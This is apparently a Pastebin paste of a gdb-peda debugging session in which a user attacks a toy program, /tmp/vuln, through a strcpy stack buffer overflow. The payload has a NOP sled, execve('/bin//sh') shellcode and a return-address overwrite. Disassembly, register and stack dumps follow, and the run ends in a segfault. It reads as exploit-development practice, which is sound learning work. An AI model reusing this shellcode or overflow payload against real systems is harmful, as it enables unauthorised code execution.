Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- gdb-peda$ disass main
- Dump of assembler code for function main:
- 0x0804843b <+0>: lea ecx,[esp+0x4]
- 0x0804843f <+4>: and esp,0xfffffff0
- 0x08048442 <+7>: push DWORD PTR [ecx-0x4]
- 0x08048445 <+10>: push ebp
- 0x08048446 <+11>: mov ebp,esp
- 0x08048448 <+13>: push ecx
- 0x08048449 <+14>: sub esp,0x134
- 0x0804844f <+20>: mov eax,ecx
- 0x08048451 <+22>: cmp DWORD PTR [eax],0x1
- 0x08048454 <+25>: jg 0x804845d <main+34>
- 0x08048456 <+27>: mov eax,0x1
- 0x0804845b <+32>: jmp 0x8048494 <main+89>
- 0x0804845d <+34>: mov eax,DWORD PTR [eax+0x4]
- 0x08048460 <+37>: add eax,0x4
- 0x08048463 <+40>: mov eax,DWORD PTR [eax]
- 0x08048465 <+42>: sub esp,0x8
- 0x08048468 <+45>: push eax
- 0x08048469 <+46>: lea eax,[ebp-0x134]
- 0x0804846f <+52>: push eax
- 0x08048470 <+53>: call 0x8048310 <strcpy@plt>
- 0x08048475 <+58>: add esp,0x10
- 0x08048478 <+61>: sub esp,0x8
- 0x0804847b <+64>: lea eax,[ebp-0x134]
- 0x08048481 <+70>: push eax
- 0x08048482 <+71>: push 0x8048520
- 0x08048487 <+76>: call 0x8048300 <printf@plt>
- 0x0804848c <+81>: add esp,0x10
- 0x0804848f <+84>: mov eax,0x0
- 0x08048494 <+89>: mov ecx,DWORD PTR [ebp-0x4]
- 0x08048497 <+92>: leave
- 0x08048498 <+93>: lea esp,[ecx-0x4]
- 0x0804849b <+96>: ret
- End of assembler dump.
- gdb-peda$ b *0x08048487
- Breakpoint 1 at 0x8048487
- gdb-peda$ r $(python -c 'print "\x90" * 96 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x84\xcc\xff\xff" + "\x90" * 180')
- Starting program: /tmp/vuln $(python -c 'print "\x90" * 96 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x84\xcc\xff\xff" + "\x90" * 180')
- [----------------------------------registers-----------------------------------]
- EAX: 0xffffcc84 --> 0x90909090
- EBX: 0x0
- ECX: 0xffffd1a0 --> 0x909090
- EDX: 0xffffcdb1 --> 0x909090
- ESI: 0xf7f9a000 --> 0x1b1db0
- EDI: 0xf7f9a000 --> 0x1b1db0
- EBP: 0xffffcdb8 --> 0x0
- ESP: 0xffffcc70 --> 0x8048520 ("Input: '%s'\n")
- EIP: 0x8048487 (<main+76>: call 0x8048300 <printf@plt>)
- EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
- [-------------------------------------code-------------------------------------]
- 0x804847b <main+64>: lea eax,[ebp-0x134]
- 0x8048481 <main+70>: push eax
- 0x8048482 <main+71>: push 0x8048520
- => 0x8048487 <main+76>: call 0x8048300 <printf@plt>
- 0x804848c <main+81>: add esp,0x10
- 0x804848f <main+84>: mov eax,0x0
- 0x8048494 <main+89>: mov ecx,DWORD PTR [ebp-0x4]
- 0x8048497 <main+92>: leave
- Guessed arguments:
- arg[0]: 0x8048520 ("Input: '%s'\n")
- arg[1]: 0xffffcc84 --> 0x90909090
- [------------------------------------stack-------------------------------------]
- 0000| 0xffffcc70 --> 0x8048520 ("Input: '%s'\n")
- 0004| 0xffffcc74 --> 0xffffcc84 --> 0x90909090
- 0008| 0xffffcc78 --> 0x1
- 0012| 0xffffcc7c --> 0x1
- 0016| 0xffffcc80 --> 0xf7df4dc8 --> 0x2b76 ('v+')
- 0020| 0xffffcc84 --> 0x90909090
- 0024| 0xffffcc88 --> 0x90909090
- 0028| 0xffffcc8c --> 0x90909090
- [------------------------------------------------------------------------------]
- Legend: code, data, rodata, value
- Breakpoint 1, 0x08048487 in main ()
- gdb-peda$ x/200xb $esp
- 0xffffcc70: 0x20 0x85 0x04 0x08 0x84 0xcc 0xff 0xff
- 0xffffcc78: 0x01 0x00 0x00 0x00 0x01 0x00 0x00 0x00
- 0xffffcc80: 0xc8 0x4d 0xdf 0xf7 0x90 0x90 0x90 0x90
- 0xffffcc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffccb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffccb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffccc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffccc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffccd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffccd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcce0: 0x90 0x90 0x90 0x90 0x31 0xc0 0x50 0x68
- 0xffffcce8: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69
- 0xffffccf0: 0x6e 0x89 0xe3 0x50 0x53 0x89 0xe1 0x99
- 0xffffccf8: 0xb0 0x0b 0xcd 0x80 0x84 0xcc 0xff 0xff
- 0xffffcd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xffffcd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- gdb-peda$ c
- Continuing.
- Input: '������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ
- ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������'
- Program received signal SIGSEGV, Segmentation fault.
- [----------------------------------registers-----------------------------------]
- EAX: 0x0
- EBX: 0xffffccf4 ("/bin//sh")
- ECX: 0xffffcd00 --> 0x90909090
- EDX: 0xf7f9b870 --> 0x0
- ESI: 0xf7f9a000 --> 0x1b1db0
- EDI: 0xf7f9a000 --> 0x1b1db0
- EBP: 0x0
- ESP: 0xffffccf0 --> 0x0
- EIP: 0xffffccf5 ("bin//sh")
- EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
- [-------------------------------------code-------------------------------------]
- 0xffffccec: push 0x69622f
- 0xffffccf1: add BYTE PTR [eax],al
- 0xffffccf3: add BYTE PTR [edi],ch
- => 0xffffccf5: bound ebp,QWORD PTR [ecx+0x6e]
- 0xffffccf8: das
- 0xffffccf9: das
- 0xffffccfa: jae 0xffffcd64
- 0xffffccfc: add BYTE PTR [eax],al
- [------------------------------------stack-------------------------------------]
- 0000| 0xffffccf0 --> 0x0
- 0004| 0xffffccf4 ("/bin//sh")
- 0008| 0xffffccf8 ("//sh")
- 0012| 0xffffccfc --> 0x0
- 0016| 0xffffcd00 --> 0x90909090
- 0020| 0xffffcd04 --> 0x90909090
- 0024| 0xffffcd08 --> 0x90909090
- 0028| 0xffffcd0c --> 0x90909090
- [------------------------------------------------------------------------------]
- Legend: code, data, rodata, value
- Stopped reason: SIGSEGV
- 0xffffccf5 in ?? ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement